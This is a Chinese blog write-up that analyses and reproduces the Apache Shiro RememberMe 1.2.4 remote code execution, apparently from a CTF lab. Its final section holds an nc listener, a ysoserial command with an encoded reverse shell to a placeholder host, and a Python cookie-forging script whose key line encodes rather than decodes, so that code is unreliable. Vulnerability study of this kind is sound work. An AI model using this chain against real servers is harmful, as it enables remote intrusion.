Xi4or0uji's blog

Shiro RememberMe 1.2.4远程代码执行漏洞复现

字数统计: 952阅读时长: 3 min
2019/10/16 Share

前言

最近博客更新的没有那么勤快了,比赛和杂七杂八的事情太多了,还是要静下心来好好学习啊
菜鸡其他语言的漏洞学的并不好,这次拿到了ogeek线下的一个题,来好好分析一波,也学一波javaOrz

环境配置

师傅们已经在dockerhub上搭好了环境了,pull下来就能用了

1
https://github.com/Medicean/VulApps/tree/master/s/shiro/1

漏洞分析

生成cookie

shiro在登录的时候会提供给一个remember me的功能,用cookie去记录登录的用户,来保证下次登录不用写密码就能直接登录。具体过程是这样的,shiro对信息进行加密的AES秘钥是硬编码在文件中的,因此秘钥我们是可以知道的,而iv则为base64解码cookie后的前16个字节,因此我们可以控制信息进而构造出任意的序列化代码
处理rememberme的cookie类在org.apache.shiro.web.mgt.CookieRememberMeManager,它的父类为org.apache.shiro.web.mgt.AbstractRememberMeManager,定义的默认的秘钥就是在这里面了

在成功登录且选择了rememberme的选项的时候,就会进入onSuccessfulLogin里

接着就是一直跟过去

1
2
3
onSuccessfulLogin::rememberIdentity
rememberIdentity::rememberIdentity
rememberIdentity::convertPrincipalsToBytes


可以看到,在登录的时候,后台会对信息进行序列化然后再加密,加密的过程如下


在加密的时候,序列化用的类是PrincipalCollection,encrypt的方法是AES,模式为CBC,填充模式为PKCS5
继续跟过去AesCipherService的父类DefaultBlockCipherService可以看到加密函数更加具体的定义

而前面encrypt函数里面的ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());调用的encrypt是在org.apache.shiro.crypto.JcaCipherService这个类里面的,查看这个类的encrypt函数

这个函数将iv放在crypt函数加密的数据前返回,加密后在org.apache.shiro.web.mgt.CookieRememberMeManager这个类内的rememberSerializedIdentity方法进行base64编码,然后返回来

解析cookie

org.apache.shiro.web.mgt.CookieRememberMeManager里会将传过来的base64字符串进行解码后赋值给byte,所以序列化后的字符就是存在这里的

1
byte[] decoded = Base64.decode(base64);

然后再调用org.apache.shiro.web.mgt.AbstractRememberMeManager里的getRememberedPrincipals方法去获取cookie中的身份信息

跟过去convertBytesToPrincipals可以看到后台会对信息进行解码,然后再进行反序列化

而decrypt方法中的秘钥就是前面加密过程的秘钥,通过getDecryptionCipherKey()获得它

看回去构造函数对于加解密的定义,可以看到,加解密所用的秘钥都是硬编码的秘钥


所以Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")这个秘钥会用于org.apache.shiro.crypto.JcaCipherService这个类里的decrypt方法中进行解码,然后再从cookie中取出iv和加密后的序列化数据在decrypt方法中调用crypt方法结合密文、key、iv解密


在前面的图我们可以看见,解密成功后,返回的数据就会进入到deserialize函数去进行反序列化,序列化的类是DefaultSerializer,this.serializer = new DefaultSerializer<PrincipalCollection>();,先跟过去看一下

可以看到有readobject,至此,我们就能成功触发反序列化了

复现过程

先用nc一下

1
nc -vlp 2345

然后起一个JRMP端口

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNfaXAvcG9ydCAwPiYxIA==}|{base64,-d}|{bash,-i}'

然后再执行以下文件生成rememberme的cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s : s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
key = base64.b64encode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == "__main__":
payload = encode_rememberme("vps_ip:port")
print "rememberMe={0}".format(payload.decode())

将运行出来的值用burp发送过去,就可以出发反序列化漏洞,监听2345端口,因此成功反弹shell

CATALOG
  1. 1. 前言
  2. 2. 环境配置
  3. 3. 漏洞分析
    1. 3.1. 生成cookie
    2. 3.2. 解析cookie
  4. 4. 复现过程